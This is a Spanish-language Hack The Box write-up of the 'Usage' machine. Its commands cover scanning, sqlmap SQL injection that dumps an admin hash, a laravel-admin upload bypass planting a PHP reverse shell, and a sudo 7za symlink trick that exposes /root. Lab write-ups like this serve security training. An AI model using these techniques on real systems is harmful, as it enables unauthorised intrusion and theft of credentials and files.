Post

HTB Usage Writeup

HTB Usage Writeup

Muy buenas con todos, el día de hoy voy a resolver la máquina Usage de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.

Reconocimiento

Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128.

1
2
3
4
5
6
7
ping -c 1 10.10.11.18
PING 10.10.11.18 (10.10.11.18) 56(84) bytes of data.
64 bytes from 10.10.11.18: icmp_seq=1 ttl=63 time=103 ms

--- 10.10.11.18 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 102.936/102.936/102.936/0.000 ms

Vemos que el ttl de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux.

Ahora, con la herramienta nmap lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.18 -oG ports

Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.

1
extractPorts ports

Ahora con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.

1
nmap -sCV -p22,80 10.10.11.18 -oN target

Aquí generamos un archivo en el formato normal de nmap en donde se nos muestra más infomación de los servicios que corren por esos puertos.

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Daily Blogs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Bueno, no tenemos información muy valiosa luego del escaneo. Así que usamos la herramienta whatweb para ver qué hay por el puerto 80.

1
2
3
4
whatweb 10.10.11.18

http://10.10.11.18 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.18], RedirectLocation[http://usage.htb/], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://usage.htb/ - no address for usage.htb

Vemos que nos redirige a un dominio, así que lo añadimos al /etc/hosts.

1
2
3
4
5
127.0.0.1	localhost
::1		localhost
127.0.0.1	machinename.localhost	machinename

10.10.11.18 usage.htb

Si nos vamos a la web, nos encontramos ante un panel de inicio de sesión. Algo a destacar es que si colocamos el cursor sobre la palabra admin en la parte de abajo logramos ver un subdominio que lo agregaremos al /etc/hosts.

Pero también necesitamos credenciales para ingresar. En la web principal podemos registrarnos e iniciar sesión, pero no hay nada de interés.

Inyección SQL

Si nos damos cuenta, hay un apartado donde podemos recuperar la contraseña mediante un email. Luego de unas pruebas, veo que este es vulnerable a SQL Injection, así que para esto vamos a hacer uso de sqlmap. Primero capturamos la petición con BurpSuite y la guardamos en un archivo.

Primero vamos a ver las bases de datos.

1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --batch --dbs

De aquí la de interés sería usage_blog.

1
2
3
4
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

Ahora vemos sus tablas.

1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --batch -D usage_blog --tables

La tabla admin_users se ve ineteresante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

Vamos a ver las columnas.

1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users --columns

Vemos username y password que sería lo interesante, así que vamos a dumpear eso.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Database: usage_blog
Table: admin_users
[8 columns]
+----------------+
| Column         |
+----------------+
| name           |
| avatar         |
| created_at     |
| id             |
| password       |
| remember_token |
| updated_at     |
| username       |
+----------------+
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users -C username,password --dump

Vemos que solo esta el usuario admin y su contraseña encryptada.

1
2
3
4
5
6
7
8
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydv************************ |
+----------+--------------------------------------------------------------+

Ahora procedemos a romper el hash.

1
john --wordlist=diccionario.txt hash

Ganando acceso

Tratamos de usar ese usuario y su credencial para conectarnos por el subdominio encontrado previamente y vemos que es posible. Una vez dentro, estamos ante un panel en donde vemos algunas dependencias. Aquí la de interés sería laravel-admin en donde vemos una versión la cual tiene una vulnerabilidad. Si nos vamos a esta web, nos explican cómo explotarlo.

Lo primero que vamos a hacer es crear una revershel con ayuda de esta web, elegimos PHP PentestMonkey y lo guardamos en un archivo con extensión .jpg. Ahora nos vamos al apartado de configuración.

Ahora cargamos el archivo e interceptamos la petición con BurpSuite.

Aquí le agregamos la extensión .php a nuestro archivo y enviamos la petición.

Luego nos ponemos en escucha con netcat y en la esquina inferior de la “imagen” hay un apartado de desscargar, copiamos ese enlace y lo solicitamos en la web para que así nos envie nuestra revershel.

Una vez dentro de la máquina, hacemos el tratamiento de la tty

1
2
3
4
5
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
export TEMR=xterm

Y ya logramos ver la primera flag como nuestro usuario.

Movimiento lateral

Dentro de nuestro directorio personal de usuario hay un archivo un tanto diferente y al revisar su contenido vemos lo que parece ser una credencial. Haciendo uso de la misma, nos tratamos de conectar como el otro usuario y vemos que es posible

Escalada de privilegios

Ejecutando el comando sudo -l vemos un binario que puede ser ejecutado como root sin proporcionar contraseña. Analizando un poco este mismo, vemos que realiza un backup de /var/www/html.

1
2
3
strings /usr/bin/usage_management | grep 7z

/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

Bueno, lo que podemos hacer es crear un enlace simbólico que apunte al directorio /root y así logremos ver su contenido en el backup. Aquí nos explican cómo es esto posible por los parámetros usados por 7z.

Primero creamos el enlace simbólico.

1
ln -s /root /var/www/html/root

Ahora ejecutamos el binario y elegimos la opcción 1.

1
2
3
4
5
6
7
sudo /usr/bin/usage_management

Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 

Por último descomprimimos la copia de seguridad.

1
7za x -y /var/backups/project.zip -o/tmp/.root root

Ahora nos podemos dirigir a esa ruta y vemos el contenido que hay en el directorio del usuario root y así podemos ver la última flag e incluso su id_rsa.

This post is licensed under CC BY 4.0 by the author.